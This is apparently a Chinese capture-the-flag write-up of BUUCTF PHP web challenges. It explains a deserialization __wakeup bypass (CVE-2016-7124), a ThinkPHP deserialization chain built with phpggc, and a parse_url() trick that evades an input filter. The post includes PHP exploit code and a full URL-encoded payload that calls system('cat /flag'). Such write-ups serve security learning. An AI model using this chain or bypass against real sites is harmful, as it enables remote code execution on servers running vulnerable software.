buuctf

cvestone 发布于 2024-07-10 318 次阅读 1233 字 预计阅读时间: 6 分钟


Web

[极客大挑战 2019]PHP

考察点:php原生反序列化bypass __wakeup()

2024-07-10-11-20-47
先根据页面提示fuzz出网站备份文件www.zip,推测就是网站源码下载下来
注意到index.php中包含了class.php,并且还调用了反序列化函数,只有用GET方法给select传参后才会触发,将反序列化结果作为请求返回的响应。
接着审计class.php
2024-07-10-12-03-02
发现获取flag的逻辑包含在__destruct()中,先审其中的if判断,要满足password = 100并且username = 'admin',另外还注意到__wakeup()中,只要触发,username = 'guest'就会覆盖掉任何我们输入的用户名从而不可能获取flag,所以我们必须让它不触发,也就是要实现bypass:
根据CVE-2016-7124,当序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过__wakeup()的触发
所以构造pop链如下:

<?php

//class Test{
//    public $sex;
//    public $name;
//    public $age;
//}
//$a = new Test("cvestone", "18", "man");
//var_dump(serialize($a));
//echo '<br><br>';
//// 替换序列化输出中表示对象的属性个数,使其值大于真实属性个数,从而绕过__wakeup
//$b = serialize($a);
//$c = preg_replace('/:3/', ':4', $b, 1);
//var_dump($c);
//echo '<br><br>';

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$a = new Name("admin", 100);
var_dump(serialize($a));
echo '<br><br>';
echo urlencode(serialize($a));

注意要保留原来类中属性的访问修饰符,不要修改。
研究访问属性的限制对反序列化结果的影响
然后替换掉对象属性个数值:
2024-07-10-11-56-33
传参,拿到flag:
2024-07-10-11-57-59

[安洵杯 2019]easy_serialize_php

考察点:php原生反序列化字符串逃逸(过滤后长度减少)

Deploy Files

[安洵杯 2019]iamthinking

考察点:php框架thinkPHP反序列化漏洞利用;parse_url()解析漏洞bypass

Deploy Files
题目描述:/public/
访问的初始页面就是403,首先根据提示进入/public/,也没有获取什么信息,也没有识别出是什么框架:
2024-07-12-15-48-13
那就尝试fuzz目录和敏感文件,最后扫到www.zip,也就是说可以下载源码,从源码中暴露了用到的框架和版本信息:
2024-07-12-15-50-00
可以先尝试利用自动化工具phpggc自动构建payload:
2024-07-12-15-53-49
根据版本只有最后两个可以尝试。
生成对应payload,注意要进行url编码:
2024-07-12-15-56-35
然后我们需要知道在哪个接口以及哪个参数中调用了反序列化函数,还需要知道相应的关键逻辑,所以需要白盒测试一下,将项目导入到phpstorm,然后直接全局搜索序列化或反序列化函数:
2024-07-12-16-00-59
发现index.php中的GET参数payload被反序列化处理,但是在这之前有过滤措施:
首先,代码使用 parse_url() 函数解析当前请求的 URL,并使用 parse_str() 函数解析 URL 中的查询参数,并将其存储在 $query 数组中。然后,代码遍历 $query 数组中的每个值,并使用正则表达式判断是否以字母 "O"(不区分大小写)开头。如果匹配到以 "O" 开头的值,代码输出 "STOP HACKING" 并终止程序的执行。显然这正是针对反序列化攻击的,所以这么一看,我们生成的payload没有通过检测。但是实际上,parse_url()实际上存在解析漏洞:
2024-07-12-16-42-49
具体详细解释参考该文章
只要当我们让parse_url()返回false就不会继续往下执行foreach的内容,所以我们最终修改url的path,结合payload构造如下:

///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A7%3A%22%00%2A%00json%22%3BN%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

拿到flag:
2024-07-12-16-54-03

当然,出于学习目的,这题最好还是用手工白盒分析然后自己构造payload的方式,参考文章

  • alipay_img
  • wechat_img
此作者没有提供个人介绍
最后更新于 2024-07-12